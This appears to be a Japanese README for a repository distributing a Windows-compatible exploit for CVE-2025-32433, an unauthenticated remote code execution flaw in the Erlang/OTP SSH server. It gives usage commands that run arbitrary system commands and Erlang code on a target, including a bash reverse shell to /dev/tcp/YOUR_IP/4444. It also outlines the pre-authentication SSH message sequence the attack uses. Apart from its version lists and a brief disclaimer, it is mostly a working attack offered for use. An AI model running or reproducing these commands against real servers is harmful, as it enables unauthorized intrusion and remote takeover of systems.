CVE-2025-32433 エクスプロイト (Windows 互換)

Erlang/OTP SSH 認証なしリモートコード実行

説明

このリポジトリには、Erlang/OTP SSHサーバーにおける致命的な認証なしリモートコード実行脆弱性であるCVE-2025-32433のエクスプロイトが含まれています。

主な特長:

✅ 事前認証RCEエクスプロイト
✅ Windows GBKエンコーディング互換性のために修正
✅ Erlang/OTP バージョン ≤ 27.3.2、≤ 26.2.5.10、≤ 25.3.2.19 で動作

脆弱性の詳細

CVE ID: CVE-2025-32433
重大度: 重大
影響: 認証なしリモートコード実行

この脆弱性により、攻撃者は特別に細工されたSSHプロトコルメッセージを送信することで、認証なしにErlang/OTP SSHサーバー上で任意のシステムコマンドを実行できます。

影響を受けるバージョン

OTP ≤ 27.3.2
OTP ≤ 26.2.5.10
OTP ≤ 25.3.2.19
OTP ≥ 17.0 and older (likely)

使用方法

# Basic command execution
python exploit.py -t <target-ip> -p 2222 -c "whoami"

# Execute system command
python exploit.py -t 192.168.1.100 -p 2222 -c "touch /tmp/pwned"

# Raw Erlang code execution
python exploit.py -t 192.168.1.100 -p 2222 -e 'os:cmd("id").'

# Reverse shell
python exploit.py -t 192.168.1.100 -p 2222 -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"

引数

-t, --target    Target IP address (default: 127.0.0.1)
-p, --port      Target port (default: 2222)
-c, --command   System command to execute
-e, --erlang    Raw Erlang code to execute

Windowsエンコーディング修正

このバージョンは、元のエクスプロイトに存在するエンコーディング問題を修正しています。

問題: 元のエクスプロイトはUnicodeのチェックマーク文字（✓、U+2713）を使用しており、WindowsでGBKエンコーディングエラーが発生します：

'gbk' codec can't encode character '✓' in position 1: illegal multibyte sequence

解決策: Unicode文字を標準ASCIIの+文字に置き換え、クロスプラットフォーム互換性を実現しました。

技術的詳細

このエクスプロイトは次の手順で動作します：

SSH接続とバナー交換の確立
SSH_MSG_KEXINITパケットの送信
SSH_MSG_CHANNEL_OPENによるSSHチャネルのオープン
認証前に悪意のあるexecコマンドを含むSSH_MSG_CHANNEL_REQUESTを送信
os:cmd()を介した任意のErlangコードの実行

参考文献

パッチ適用済みバージョン

OTP 27.3.3
OTP 26.2.5.11
OTP 25.3.2.20

免責事項

このエクスプロイトは、教育および許可されたセキュリティテストの目的でのみ提供されています。コンピュータシステムへの無許可アクセスは違法です。責任を持って、明示的なテスト許可を得たシステムでのみ使用してください。

ライセンス

MIT License

作者

Windows互換性のためにchuzouXによって修正

CVE-2025-32433-Exploit-edited

人気